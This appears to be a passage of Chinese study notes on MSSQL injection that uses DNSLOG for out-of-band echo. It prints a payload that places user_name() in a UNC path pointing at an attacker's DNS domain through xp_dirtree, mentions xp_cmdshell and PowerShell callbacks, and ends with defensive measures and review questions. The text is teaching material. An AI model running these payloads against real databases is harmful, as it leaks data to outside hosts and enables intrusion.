, 执行命令注入,但是目标站点什么也不显示,无法确定,就可以使用DNSLOG获取回显
函数:
master..xp_dirtree #存储程序, 用于获取所有文件夹的列表命令
exec master.....xp_dirtree 'c:\windows';
xp_cmdshell #存储程序, 用于执行命令
DECLARE #创建变量
master.dbo.fn_varbintohexstr...a='\\'+user_name()+'.三级DNS地址';
exec master..xp_dirtree @a;
解释: 创建 变量a, 为变量a 赋予值, 使用exec master..xp_dirtree...通过ping的方式, 让目标机访问攻击者构造的http,通过powershell 执行命令让目标机访问攻击者构造的IP
函数
DECLARE #定义变量
set #为变量赋值
master..xp_cmdshell...防御
使用权限划分,
启用WAF 和防火墙等机制
对用户的传参进行严格的过滤
添加白名单与黑名单
转义所有用户提供的输入
思考
什么条件下会使用到外搭数据的攻击
外带数据在什么攻击方式还会利用到?